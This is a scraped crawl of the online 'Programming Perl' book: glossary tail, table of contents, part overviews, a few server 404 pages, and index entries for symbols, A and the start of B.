Yet Another Compiler Compiler. A parser generator without which Perl probably would not have existed. See the file perly.y in the Perl source distribution.

zero width

A subpattern assertion matching the null string between characters.

zombie

A process that has died (exited) but whose parent has not yet received proper notification of its demise by virtue of having called wait or waitpid. If you fork, you must clean up after your child processes when they exit, or else the process table will fill up and your system administrator will Not Be Happy with you.

Previous | Home
Chapter 33. Diagnostic Messages | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


 Book Home Programming PerlSearch this book

by Larry Wall, Tom Christiansen, and Jon Orwant
ISBN 0-596-00027-8
Third Edition, July 2000
(See the catalog page for this book.)

Search the text of Programming Perl.

Table of Contents

Preface

Part 1: Overview

Chapter 1: An Overview of Perl

Part 2: The Gory Details

Chapter 2: Bits and Pieces
Chapter 3: Unary and Binary Operators
Chapter 4: Statements and Declarations
Chapter 5: Pattern Matching
Chapter 6: Subroutines
Chapter 7: Formats
Chapter 8: References
Chapter 9: Data Structures
Chapter 10: Packages
Chapter 11: Modules
Chapter 12: Objects
Chapter 13: Overloading
Chapter 14: Tied Variables

Part 3: Perl as Technology

Chapter 15: Unicode
Chapter 16: Interprocess Communication
Chapter 17: Threads
Chapter 18: Compiling
Chapter 19: The Command-Line Interface
Chapter 20: The Perl Debugger
Chapter 21: Internals and Externals

Part 4: Perl as Culture

Chapter 22: CPAN
Chapter 23: Security
Chapter 24: Common Practices
Chapter 25: Portable Perl
Chapter 26: Plain Old Documentation
Chapter 27: Perl Culture

Part 5: Reference Material

Chapter 28: Special Names
Chapter 29: Functions
Chapter 30: The Standard Perl Library
Chapter 31: Pragmatic Modules
Chapter 32: Standard Modules
Chapter 33: Diagnostic Messages
Glossary
 Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Overview (Programming Perl)

 Book Home Programming PerlSearch this book
Previous Next

Part 1. Overview

Chapter 1: An Overview of Perl

Previous | Home | Next
0.9. We'd Like to Hear from You | Book Index | 1. An Overview of Perl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Gory Details (Programming Perl)

 Programming PerlSearch this book
Previous Next

Part 2. The Gory Details

Chapter 2: Bits and Pieces
Chapter 3: Unary and Binary Operators
Chapter 4: Statements and Declarations
Chapter 5: Pattern Matching
Chapter 6: Subroutines
Chapter 7: Formats
Chapter 8: References
Chapter 9: Data Structures
Chapter 10: Packages
Chapter 11: Modules
Chapter 12: Objects
Chapter 13: Overloading
Chapter 14: Tied Variables

Previous | Home | Next
1.9. What You Don't Know Won't Hurt You (Much) | Book Index | 2. Bits and Pieces
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl as Technology (Programming Perl)

 Book Home Programming PerlSearch this book
Previous Next

Part 3. Perl as Technology

Chapter 15: Unicode
Chapter 16: Interprocess Communication
Chapter 17: Threads
Chapter 18: Compiling
Chapter 19: The Command-Line Interface
Chapter 20: The Perl Debugger
Chapter 21: Internals and Externals

Previous | Home | Next
14.6. Tie Modules on CPAN | Book Index | 15. Unicode
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Perl as Culture (Programming Perl)

 Book Home Programming PerlSearch this book
Previous Next

Part 4. Perl as Culture

Chapter 22: CPAN
Chapter 23: Security
Chapter 24: Common Practices
Chapter 25: Portable Perl
Chapter 26: Plain Old Documentation
Chapter 27: Perl Culture

Previous | Home | Next
21.5. The Moral of the Story | Book Index | 22. CPAN
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Reference Material (Programming Perl)

 Book Home Programming PerlSearch this book
Previous Next

Part 5. Reference Material

Chapter 28: Special Names
Chapter 29: Functions
Chapter 30: The Standard Perl Library
Chapter 31: Pragmatic Modules
Chapter 32: Standard Modules
Chapter 33: Diagnostic Messages

Previous | Home | Next
27.2. Perl Poetry | Book Index | 28. Special Names
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Programming Perl--Index

Programming Perl Search this book

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
Glossary | index | Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog3rd/index/idx_$.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog3rd/index/idx_&.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog3rd/index/idx_..htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Index: Symbols

@+ array of ending positions: 28.2. Special Variables in Alphabetical Order
$!, portability of: 25.4. System Interaction
& (ampersand): 3.10. Named Unary and File Test Operators
address-of operator (in C): 3.21. C Operators Missing from Perl
& (bitwise and) operator: 3.13. Bitwise Operators
&& (AND) operator: 3.14. C-Style Logical (Short-Circuit) Operators
&&= (assignment) operator: 3.17. Assignment Operators
in filenames: 29.2.104. open
Perl version 5, changes in use: 1.2.2. Verbs
prototype character: 6.4. Prototypes
for subroutine names: 1.2.1. Variable Syntax
2.5. Names
2.5. Names
4.6. goto
6.1. Syntax
omitting in prototypes: 6.4. Prototypes
* (asterisk): 3.10. Named Unary and File Test Operators
** (exponentiation)operator: 3.4. Exponentiation
**= (exponentiation assignment) operator: 3.17. Assignment Operators
*= (multiplication assignment) operator: 3.17. Assignment Operators
*? quantifier: 5.3.1. Metasymbol Tables
metacharacter: 5.1. The Regular Expression Bestiary
5.3. Metacharacters and Metasymbols
(multiplicative) operator: 3.1. Terms and List Operators (Leftward)
prototype character: 6.4. Prototypes
quantifier: 1.7.1. Quantifiers
5.3.1. Metasymbol Tables
in quantifiers: 5.5. Quantifiers
typeglob: 1.2.1. Variable Syntax
for typeglob names: 2.5. Names
2.10. Typeglobs and Filehandles
@ (at sign)
for array names: 1.2.1. Variable Syntax
2.4. Variables
@- array: 5.7.1. Capturing
@+ array of ending positions: 5.7.1. Capturing
@_ arrays: 6.2. Semantics
@_ array: 6.2. Semantics
28.2. Special Variables in Alphabetical Order
changes in use, Perl versions: 24.1.5. Previous Perl Traps
in debugger: 20.1. Using the Debugger
inside strings, escaping with backslash: 2.6.2. String Literals
in picture lines: 7. Formats
prototype character: 6.4. Prototypes
\ (backslash)
\... metasymbol: 5.3.1. Metasymbol Tables
entering continued commands in debugger: 20.2. Debugger Commands
to escape metacharacters: 5.1. The Regular Expression Bestiary
5.3. Metacharacters and Metasymbols
interpretation by regex parser: 5.9.2.1. When backslashes happen
metacharacter: 5.1. The Regular Expression Bestiary
for multiline commands: 20.1. Using the Debugger
\Q notation for backslashing nonalphanumeric characters: 2.6.2. String Literals
quoted strings, avoiding overuse in: 2.6.3. Pick Your Own Quotes
quotemeta function for: 29.2.118. quotemeta
reference operator: 3.5. Ideographic Unary Operators
8.2.1. The Backslash Operator
\\ (backslash)
double quotes, interpreting with: 1.2.1.1. Singularities
` (backtick) operator
shell programming, Perl vs.: 24.1.4. Shell Traps
! (bang)
! (logical negation) operator
overloading: 13.3. Overloadable Operators
!! debugger command: 20.2.6. Actions and Command Execution
!~ (binding) operator: 3.6. Binding Operators
using with pattern matching operators: 5.2. Pattern-Matching Operators
complemented character sets, using for: 5.4.3.4. Defining your own character properties
in debugger commands: 20.2.6. Actions and Command Execution
logical negation operator: 3.5. Ideographic Unary Operators
!= (not equal to) operator: 1.5.6. Some Numeric and String Comparison Operators
24.1.1. Universal Blunders
{} braces: 24.1.1. Universal Blunders
[] (brackets)
[ metacharacter: 5.1. The Regular Expression Bestiary
5.3. Metacharacters and Metasymbols
[...] character class: 5.3.1. Metasymbol Tables
character classes: 5.3.1. Metasymbol Tables
5.4.1. Custom Character Classes
to match characters: 5.9.4. The Little Engine That /Could(n't)?/
precedence of: 3.1. Terms and List Operators (Leftward)
^ (caret) ;line boundary: 5.6.1. Beginnings: The \A and ^ Assertions
: (colon)
:: in module names, translating to system directory separators: 11.1. Using Modules
:: for package identifiers: 2.6.4. Or Leave the Quotes Out Entirely
10. Packages
24.1.5. Previous Perl Traps
:: in fully qualified names: 2.5. Names
, (comma)
delimiting list values: 2.8. List Values and Arrays
2.8. List Values and Arrays
error in print statements: 24.1.1. Universal Blunders
key/value pairs and: 1.2.1.2.2. Hashes.
2.9. Hashes
large numbers and: 2.6.1. Numeric Literals
operator: 3.18. Comma Operators
3.18. Comma Operators
(see also => operator)
in scalar context: 24.1.5. Previous Perl Traps
as separator: 1.2.1.3. Complexities
$^T ($BASETIME): 3.10. Named Unary and File Test Operators
$. ($INPUT_LINE_NUMBER): 3.15. Range Operator
$ (dollar sign): 1.2.1.2.2. Hashes.
prototype character: 6.4. Prototypes
in debugger: 20.1. Using the Debugger
$# prefix: 2.8.2. Array Length
$$ (current process ID): 2.5. Names
$? (exit status, last child process): 2.5. Names
$ variables
$^O variable: 25. Portable Perl
line boundary: 5.6.2. Endings: The \z, \Z, and $ Assertions
in matching: 5.2.2. The m// Operator (Matching)
metacharacter: 5.1. The Regular Expression Bestiary
5.3. Metacharacters and Metasymbols
for scalar variable names: 1.2.1.2.1. Arrays.
2.4. Variables
scalar variable interpolation and: 2.6.2. String Literals
signifying scalar variables: 1.2.1. Variable Syntax
word boundary: 1.7.3. Nailing Things Down
$! variable: 1.5.5. Logical Operators
$ variables
$0 ($PROGRAM_NAME): 28.2. Special Variables in Alphabetical Order
$a and $b (sort variables): 28.2. Special Variables in Alphabetical Order
@': 5.7.1. Capturing
@&: 5.7.1. Capturing
$' ($POSTMATCH): 24.2.1. Time Efficiency
28.2. Special Variables in Alphabetical Order
$*: 28.2. Special Variables in Alphabetical Order
$@ ($EVAL_ERROR): 28.2. Special Variables in Alphabetical Order
$\ ($OUTPUT_RECORD_SEPARATOR): 28.2. Special Variables in Alphabetical Order
$` ($PREMATCH): 24.2.1. Time Efficiency
28.2. Special Variables in Alphabetical Order
$! ($OS_ERROR): 28.2. Special Variables in Alphabetical Order
${^WARNING_BITS}: 28.2. Special Variables in Alphabetical Order
$] ($PERL_VERSION): 28.2. Special Variables in Alphabetical Order
$^ ($FORMAT_TOP_NAME): 7.1. Format Variables
7.2. Footers
24.1.1. Universal Blunders
28.2. Special Variables in Alphabetical Order
$^A ($ACCUMULATOR): 7.2.1. Accessing Formatting Internals
28.2. Special Variables in Alphabetical Order
formline function output: 29.2.42. formline
$^C ($COMPILING): 28.2. Special Variables in Alphabetical Order
$^D ($DEBUGGING): 19.1.3. Switches
28.2. Special Variables in Alphabetical Order
$^E ($EXTENDED_OS_ERROR): 28.2. Special Variables in Alphabetical Order
$^F ($SYSTEM_FD_MAX): 28.2. Special Variables in Alphabetical Order
$^H: 28.2. Special Variables in Alphabetical Order
$^I ($INPLACE_EDIT): 28.2. Special Variables in Alphabetical Order
$^L ($FORMAT_LINEFEED): 7.1. Format Variables
$^M: 28.2. Special Variables in Alphabetical Order
$^O ($OSNAME): 28.2. Special Variables in Alphabetical Order
$^P ($PERLDB): 28.2. Special Variables in Alphabetical Order
$^S ($EXCEPTIONS_BEING_CAUGHT): 28.2. Special Variables in Alphabetical Order
$^T ($BASETIME): 28.2. Special Variables in Alphabetical Order
$^V ($PERL_VERSION): 28.2. Special Variables in Alphabetical Order
$^W ($WARNING): 28.2. Special Variables in Alphabetical Order
$^X ($EXECUTABLE_NAME): 28.2. Special Variables in Alphabetical Order
$: ($FORMAT_LINE_BREAK_CHARACTERS): 7. Formats
28.2. Special Variables in Alphabetical Order
$, ($LIST_SEPARATOR): 28.2. Special Variables in Alphabetical Order
$$ ($PROCESS_ID): 28.2. Special Variables in Alphabetical Order
$. ($INPUT_LINE_NUMBER): 28.2. Special Variables in Alphabetical Order
resetting with close function: 29.2.16. close
$= ($FORMAT_LINES_PER_PAGE): 7.1. Format Variables
28.2. Special Variables in Alphabetical Order
@`: 5.7.1. Capturing
$< ($REAL_USER_ID): 28.2. Special Variables in Alphabetical Order
$line: 1.6.2.1. The while and until statements
$- ($FORMAT_LINES_LEFT): 7. Formats
7.2. Footers
28.2. Special Variables in Alphabetical Order
$) ($EFFECTIVE_GROUP_ID): 28.2. Special Variables in Alphabetical Order
28.2. Special Variables in Alphabetical Order
$( ($REAL_GROUP_ID): 28.2. Special Variables in Alphabetical Order
$% ($FORMAT_PAGE_NUMBER): 7.1. Format Variables
28.2. Special Variables in Alphabetical Order
@+: 5.7.1. Capturing
$? ($CHILD_ERROR): 28.2. Special Variables in Alphabetical Order
backtick operator and: 2.11.1. Command Input (Backtick) Operator
close function and: 29.2.16. close
$> ($EFFECTIVE_USER_ID): 28.2. Special Variables in Alphabetical Order
$[semi] ($SUBSCRIPT_SEPARATOR): 28.2. Special Variables in Alphabetical Order
$#
obsolete variable for numeric output: 28.2. Special Variables in Alphabetical Order
$&: 5.2. Pattern-Matching Operators
$`: 5.2. Pattern-Matching Operators
${^ (internal variable names): 2.5. Names
$^W: 4.9.1. Controlling Warnings
$; (SUBSCRIPT_SEPARATOR): 2.9. Hashes
$': 5.2. Pattern-Matching Operators
$/ ($INPUT_RECORD_SEPARATOR): 19.1.3. Switches
28.2. Special Variables in Alphabetical Order
$~ ($FORMAT_NAME): 7.1. Format Variables
28.2. Special Variables in Alphabetical Order
$_ ($ARG) ;glob function with: 2.11.3. Filename Globbing Operator
$_ variable: 1.7. Regular Expressions
1.7.1. Quantifiers
$| ($OUTPUT_AUTOFLUSH): 7.1. Format Variables
28.2. Special Variables in Alphabetical Order
${^WIDE_SYSTEM_CALLS}: 15.1. Building Character
28.2. Special Variables in Alphabetical Order
. (dot) ;concatenation operator: 24.2.1. Time Efficiency
=; (equal sign)
=;> (corresponds to) operator: 3.18. Comma Operators
> (right angle bracket)
in debugger commands: 20.2.6. Actions and Command Execution
for filename globbing: 2.11.3. Filename Globbing Operator
in filenames: 29.2.104. open
greater than operator: 3.11. Relational Operators
> (greater than) operator: 1.4. Filehandles
for line input operator (see angle operator)
for right justification: 7.1. Format Variables
>= (greater than or equal) operator: 3.11. Relational Operators
>> (right-shift) operator: 3.9. Shift Operators
>>= (assignment) operator: 3.17. Assignment Operators
< (left angle bracket)
for left justification: 7.1. Format Variables
in debugger commands: 20.2.6. Actions and Command Execution
for filename globbing: 2.11.3. Filename Globbing Operator
in filenames: 29.2.104. open
<=> (comparison) operator: 1.5.6. Some Numeric and String Comparison Operators
29.2.159. sort
<< for here documents: 2.6.6. "Here" Documents
<<= (assignment) operator: 3.17. Assignment Operators
less than operator: 3.11. Relational Operators
<= (less than or equal) operator: 1.5.6. Some Numeric and String Comparison Operators
3.11. Relational Operators
for line input: 2.11.2. Line Input (Angle) Operator
|| (OR logical operator): 1.5.5. Logical Operators
() (parentheses);grouping operator: 5.9.4. The Little Engine That /Could(n't)?/
% (percent sign): 3.10. Named Unary and File Test Operators
for checksums: 29.2.189. unpack
for hash names: 1.2.1.2.2. Hashes.
2.4. Variables
modulus operator: 3.7. Multiplicative Operators
%= (modulus assignment) operator: 3.17. Assignment Operators
prototype character: 6.4. Prototypes
signifying variable type: 1.2.1. Variable Syntax
| (pipe symbol)
for pattern alternation: 5.8. Alternation
+ (plus) ;unary operator: 3.5. Ideographic Unary Operators
?(question mark): 3.10. Named Unary and File Test Operators
" (double quotes): 2.6.2. String Literals
5.2. Pattern-Matching Operators
5.2. Pattern-Matching Operators
8.5. Braces, Brackets, and Quoting
conversion operator, stringification: 13.3. Overloadable Operators
in formline arguments: 29.2.42. formline
in replacement string: 5.2.3. The s/// Operator (Substitution)
translation escape processing: 5.9.2.1. When backslashes happen
; (semicolon)
in filenames, security risks of: 23.1.2. Cleaning Up Your Environment
Perl statements, terminating with: 2.2. Molecules
simple statements, ending in: 4.1. Simple Statements
/ (slash): 3.10. Named Unary and File Test Operators
debugger command: 20.2.5. Locating Code
delimiters, replacing as: 2.6.3. Pick Your Own Quotes
division operator: 3.7. Multiplicative Operators
root directory: 29.2.15. chroot
/=; (assignment) operator: 3.17. Assignment Operators
// (see m// operator)
{ } (braces)
hash key, enclosing in: 1.2.1.2.2. Hashes.
~ (tilde)
bitwise negation operator: 3.5. Ideographic Unary Operators
to suppress blank lines: 7. Formats
_(underscore)
global filehandle: 28.2. Special Variables in Alphabetical Order
| (vertical bar)
for alternation: 5.1. The Regular Expression Bestiary
bitwise or operator: 3.13. Bitwise Operators
for centering: 7.1. Format Variables
debugger command: 20.2.6. Actions and Command Execution
...|... alternation: 5.3.1. Metasymbol Tables
in filenames: 29.2.104. open
-| piping pseudocommand: 16.3.2. Talking to Yourself
metacharacter: 5.1. The Regular Expression Bestiary
5.3. Metacharacters and Metasymbols
|| (logical or) operator: 5.9.1. Letting Perl Do the Work
12.3.3. Syntactic Snafus with Indirect Objects
|= (assignment) operator: 3.17. Assignment Operators
|- piping pseudocommand: 16.3.2. Talking to Yourself
|| debugger command: 20.2.6. Actions and Command Execution
||= (assignment) operator: 3.17. Assignment Operators
32-bit systems: 25.2. Endianness and Number Width
0 but true: 29.2.37. fcntl
-w exemption: 29.2.37. fcntl
-0 command-line switch: 19.1. Command Processing
0+ (numification) operator: 13.3. Overloadable Operators

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/prog3rd/index/idx_=.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Index: A

.al filename extensions: 10.2. Autoloading
-a (autosplit) command-line switch: 19.1.3. Switches
-A (access age) file test operator: 3.10. Named Unary and File Test Operators
\A (string boundary): 5.6.1. Beginnings: The \A and ^ Assertions
Control-A: 5.2.3. The s/// Operator (Substitution)
abbreviations, text: 32.1.2. String Processing, Language Text Processing, Parsing, and Searching
abs (absolute value) function: 29.2.1. abs
abstraction: 10. Packages
in object-oriented programming: 12.3. Method Invocation
accept function: 29.2.2. accept
access checks, setting in constructor: 12.7.5. Using Closures for Private Objects
access time, file: 29.2.165. stat
29.2.193. utime
accessing
array of hashes: 9.3.3. Access and Printing of an Array of Hashes
elements, tied arrays: 14.2.1. Array-Tying Methods
hashes of arrays: 9.2.3. Access and Printing of a Hash of Arrays
multidimensional arrays: 9.1.3. Access and Printing
multidimensional hashes: 9.4.3. Access and Printing of a Hash of Hashes
overridden methods: 12.5.2. Accessing Overridden Methods
records of elaborate data structures: 9.6.1. Composition, Access, and Printing of More Elaborate Records
slices of multidimensional arrays: 9.1.4. Slices
accessor methods: 12.4.2. Initializers
class data methods, working like: 12.8. Managing Class Data
creating: 12.7. Managing Instance Data
generating with autoloading: 12.7.3. Generating Accessors with Autoloading
generating with closures: 12.7.4. Generating Accessors with Closures
pseudohashes and: 12.7.1. Field Declarations with use fields
$ACCUMULATOR: 28.2. Special Variables in Alphabetical Order
actions (debugger)
command execution, specifying from debugger: 20.2.6. Actions and Command Execution
listing all: 20.2.2. Breakpoints
ActiveState Perl distribution
installing on Windows systems: 19.1.1. #! and Quoting on Non-Unix Systems
Microsoft-only modules: 32.1.20. Microsoft-Related Modules
PPM (Perl Package Manager): 22.2. Using CPAN Modules
adding additional array elements: 29.2.190. unshift
addition: 1.5.1. Some Binary Arithmetic Operators
overloaded plus (+) operator: 13.2. Overload Handlers
additive operators: 3.8. Additive Operators
address-of operator (in C): 3.21. C Operators Missing from Perl
addresses
C language, Perl vs.: 24.1.3. C Traps
getting from hostnames: 29.2.52. getnetbyname
network, getting from hostnames: 29.2.48. gethostbyname
network, translating to names: 29.2.47. gethostbyaddr
29.2.51. getnetbyaddr
packed socket: 29.2.67. getsockname
reused, displaying contents of: 20.3.3. Debugger Options
socket names as: 29.2.5. bind
alarm function: 29.2.3. alarm
pattern match, timing out: 23.3.2. Code Masquerading as Data
alert (bell): 2.6.2. String Literals
Perl modules for: 22.1. The CPAN modules Directory
for characters: 5.3.2. Specific Characters
debugger command for: 20.2.7. Miscellaneous Commands
in for/foreach loops
searching and replacing elements in arrays: 5.2.3.1. Modifying strings en passant
for/foreach loops, creating with: 4.5.1. Case Structures
symbol table entries: 2.5.1. Name Lookups
2.10. Typeglobs and Filehandles
symbol table key, assignment to typeglob: 10.1. Symbol Tables
aliasing, in foreach loops: 4.4.3. foreach Loops
ALRM signal: 16.1.3. Timing Out Slow Operations
alternation: 5.1. The Regular Expression Bestiary
character classes and: 5.4.1. Custom Character Classes
interior, limiting scope of: 5.7.2. Clustering
match one or the other (...|...): 5.3.1. Metasymbol Tables
in patterns: 5.8. Alternation
precedence, pattern matching: 5.9.4. The Little Engine That /Could(n't)?/
American Standard Code for Information Interchange (see ASCII)
anchors: 1.7.3. Nailing Things Down
5.6. Positions
and (&) bitwise operator: 3.13. Bitwise Operators
and (&&) logical operator: 1.5.5. Logical Operators
3.14. C-Style Logical (Short-Circuit) Operators
3.20. Logical and, or, not, and xor
precedence, and operator vs. &&: 12.3.3. Syntactic Snafus with Indirect Objects
and operator: 24.3. Programming with Style
angle brackets (see right and left angle brackets)
angle operator: 2.11.2. Line Input (Angle) Operator
19.1.3. Switches
24.1.2. Frequently Ignored Advice
reading filehandle from: 14.4.1. Filehandle-Tying Methods
array composer: 8.2.2.1. The anonymous array composer
arrays
hash of, creating: 9.2.1. Composition of a Hash of Arrays
two-dimensional array slice: 9.1.4. Slices
hash composer: 8.2.2.2. The anonymous hash composer
hashes
adding to multidimensional hashes: 9.4.1. Composition of a Hash of Hashes
array of, creating: 9.3.1. Composition of an Array of Hashes
data structue for objects: 12.4. Object Construction
pipes: 16.3.1. Anonymous Pipes
referents: 8.1. What Is a Reference?
subroutine composer: 8.2.2.3. The anonymous subroutine composer
subroutines: 6. Subroutines
giving names at run time: 10.1. Symbol Tables
AnyDBM_File module: 32.1.10. DBM Interfaces
Apache web server: 21.4. Embedding Perl (Using Perl from C)
CGI::Apache module: 32.1.9. World Wide Web
mod_perl extension: 18.3. Executing Your Code
Perl modules for: 22.1. The CPAN modules Directory
appending
elements to arrays: 9.1.2. Growing Your Own
29.2.116. push
members to existing hash: 9.3.2. Generation of an Array of Hashes
arctangents: 29.2.4. atan2
$ARG: 28.2. Special Variables in Alphabetical Order
(see also parameters)
formal: 28.2. Special Variables in Alphabetical Order
@ARGV array: 2.11.2. Line Input (Angle) Operator
28.2. Special Variables in Alphabetical Order
ARGV filehandle: 28.2. Special Variables in Alphabetical Order
$ARGV variable: 28.2. Special Variables in Alphabetical Order
ARGVOUT filehandle: 28.2. Special Variables in Alphabetical Order
arithmetic, overloaded objects and: 13.2. Overload Handlers
arithmetic operators: 3.5. Ideographic Unary Operators
binary arithmetic operators: 1.5.1. Some Binary Arithmetic Operators
order of evaluation: 1.5.1. Some Binary Arithmetic Operators
overloading: 13.3. Overloadable Operators
arity: 3. Unary and Binary Operators
highest to lowest, listing of: 3. Unary and Binary Operators
array context (see list context)
arrayDepth option (debugger): 20.3.3. Debugger Options
arrays: 1.2.1. Variable Syntax
1.2.1.2. Pluralities
2.3. Built-in Data Types
(see also lists)
@_ arrays: 6.2. Semantics
copying values to my list: 6.2.1. Tricks with Parameter Lists
anonymous, objects implemented as: 12.7.1. Field Declarations with use fields
use fields pragma, overcoming problems with: 12.7.1. Field Declarations with use fields
anonymous, references to: 8.2.2.1. The anonymous array composer
appending elements to: 29.2.116. push
associative (see hashes)
AV (array value) typedef in C, corresponding to: 21.2. Internal Data Types
deleting elements of: 29.2.149. shift
29.2.160. splice
elements, giving temporary values to: 29.2.87. local
exists function and: 29.2.34. exists
first element of: 28.2. Special Variables in Alphabetical Order
of hashes: 9.3. Arrays of Hashes
accessing and printing: 9.3.3. Access and Printing of an Array of Hashes
generating: 9.3.2. Generation of an Array of Hashes
hashes of: 9.2. Hashes of Arrays
initializing with x operator: 3.7. Multiplicative Operators
last element of: 2.8.2. Array Length
length of: 2.8.2. Array Length
list values vs.: 2.8. List Values and Arrays
lists and: 2.8. List Values and Arrays
multidimensional: 1.2.1.3. Complexities
9.1. Arrays of Arrays
names for: 2.4. Variables
negative subscripts, counting from end of array: 24.1.5. Previous Perl Traps
nested: 9.1. Arrays of Arrays
two-dimensional arrays, creating and accessing: 9.1.1. Creating and Accessing a Two-Dimensional Array
output style, changing in debugger: 20.3.3. Debugger Options
parsing text into: 32.1.2. String Processing, Language Text Processing, Parsing, and Searching
passing by reference into or out of functions: 6.3. Passing References
performance and: 24.2.1. Time Efficiency
pop function and: 29.2.111. pop
prepending elements to: 29.2.190. unshift
processing, functions for: 29.1. Perl Functions by Category
references to: 8.1. What Is a Reference?
replacing/removing elements: 29.2.160. splice
s/// (substitution) operator and: 5.2.3.1. Modifying strings en passant
subscript separator (see $[semi] variable)
taint in: 23.1. Handling Insecure Data
tied, delete function and: 24.1.5. Previous Perl Traps
tying: 14.2. Tying Arrays
methods for: 14.2.1. Array-Tying Methods
notational convenience: 14.2.2. Notational Convenience
Tie::Array module: 32.1.14. Convenient Classes
variables of: 2.6.5. Interpolating Array Values
arrow (->) operator: 8.3.3. Using the Arrow Operator
12.3.1. Method Invocation Using the Arrow Operator
3.2. The Arrow Operator
artificial languages: 1.2. Natural and Artificial Languages
ASCII: 2.1. Atoms
converting to characters: 29.2.14. chr
converting to Unicode: 15.2. Effects of Character Semantics
values for characters: 29.2.106. ord
ASP, Perl modules for: 22.1. The CPAN modules Directory
assertions
defining your own: 5.10.4. Defining Your Own Assertions
lookaround assertions: 5.10.1. Lookaround Assertions
precedence, pattern matching: 5.9.4. The Little Engine That /Could(n't)?/
assertions (in matching)
\b and \B (word and non word boundary): 5.6.3. Boundaries: The \b and \B Assertions
positional, \z, \Z, and $ assertions: 5.6.2. Endings: The \z, \Z, and $ Assertions
assertions (in patterns): 5.1. The Regular Expression Bestiary
5.3.1. Metasymbol Tables
character classes and: 5.4.1. Custom Character Classes
\G positional assertion: 5.2.2. The m// Operator (Matching)
positional: 5.6. Positions
\A and ^ assertions (string boundary): 5.6.1. Beginnings: The \A and ^ Assertions
assigning to lists: 2.8.1. List Assignment
assignment
to conditional operator: 3.16. Conditional Operator
elements, two-dimsional arrays: 9.1.2. Growing Your Own
of tied variables: 14.1.1. Scalar-Tying Methods
tied array element: 14.2.1. Array-Tying Methods
assignment operators: 1.5.3. Assignment Operators
2.3. Built-in Data Types
3.17. Assignment Operators
overloading: 13.3. Overloadable Operators
13.4. The Copy Constructor (=)
(see also copy constructor)
precedence, Perl versions, differences in: 24.1.5. Previous Perl Traps
values, returning: 1.5.3. Assignment Operators
associative arrays (see also hashes)
29.2.22. dbmopen
3. Unary and Binary Operators
3.11. Relational Operators
astronomy, Perl modules for: 22.1. The CPAN modules Directory
async function: 17.2.1.1. Thread creation
atan function: 29.2.4. atan2
$atime file statistic: 29.2.165. stat
atoms: 5.9.4. The Little Engine That /Could(n't)?/
precedence, pattern matching: 5.9.4. The Little Engine That /Could(n't)?/
attributes: 6.5. Subroutine Attributes
12.4.2. Initializers
attributes module: 32.1.13. Perl Language Extensions and Internals
class: 29.2.99. my
class, storing state for: 12.8. Managing Class Data
files, test operators for: 1.5.7. Some File Test Operators
locked and method, using with threads: 12.7.6. New Tricks
locked, subroutines: 17.2.2.4. The locked attribute
lvalue, subroutines: 12.7.6. New Tricks
objects, hashes of: 1.2.1.3. Complexities
subclass, overriding superclass ancestor: 12.7. Managing Instance Data
subroutines: 6.5. Subroutine Attributes
names, syntax for: 6.5.1. The locked and method Attributes
variable interpolation and: 29.2.107. our
attrs module (obsolete): 32.1.13. Perl Language Extensions and Internals
audio, Perl modules for: 22.1. The CPAN modules Directory
authentication, Perl modules for: 22.1. The CPAN modules Directory
32.1.12. Authentication, Security, and Encryption
authorization, Perl modules for: 22.1. The CPAN modules Directory
autodecrement (--) operator: 1.5.4. Unary Arithmetic Operators
3.3. Autoincrement and Autodecrement
magical: 13.3. Overloadable Operators
autoflushing buffers: 28.2. Special Variables in Alphabetical Order
autogeneration, overloading: 13.3. Overloadable Operators
autoincrement and autodecrement: 13.3. Overloadable Operators
preventing: 13.5. When an Overload Handler Is Missing (nomethod and fallback)
autoincrement (++) operator: 1.5.4. Unary Arithmetic Operators
3.3. Autoincrement and Autodecrement
magical: 3.3. Autoincrement and Autodecrement
13.3. Overloadable Operators
AUTOLOAD method: 12.5.4. Method Autoloading
AUTOLOAD subroutine: 10.2. Autoloading
4.6. goto
12.5.4. Method Autoloading
AutoLoader module: 10.2. Autoloading
32.1.17. Module Installation Support
autoloading
generating accessors with: 12.7.3. Generating Accessors with Autoloading
automatic, line-end processing: 19.1.3. Switches
autosplit mode: 19.1.3. Switches
AutoSplit module: 10.2. Autoloading
32.1.17. Module Installation Support
portability of: 25.3. Files and Filesystems
autosplitting: 10.2. Autoloading
AutoTrace option (debugger): 20.3.3. Debugger Options
autouse module: 32.1.17. Module Installation Support
autouse pragma: 31.2. use autouse
autovivification: 29.2.34. exists
of filehandles: 29.2.104. open
typeglobs: 14.4.1. Filehandle-Tying Methods
AV (internal array value): 21.2. Internal Data Types
awk: 1.7. Regular Expressions
converting to/from Perl: 2.9. Hashes

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B

\b (backspace assertion in character classes): 5.4.1. Custom Character Classes
5.9.4. The Little Engine That /Could(n't)?/
-b (block special) file test operator: 3.10. Named Unary and File Test Operators
-B (binary file) test operator: 3.10. Named Unary and File Test Operators
B module: 32.1.19. Perl Compiler and Code Generator
\B (non word boundary): 5.6.3. Boundaries: The \b and \B Assertions
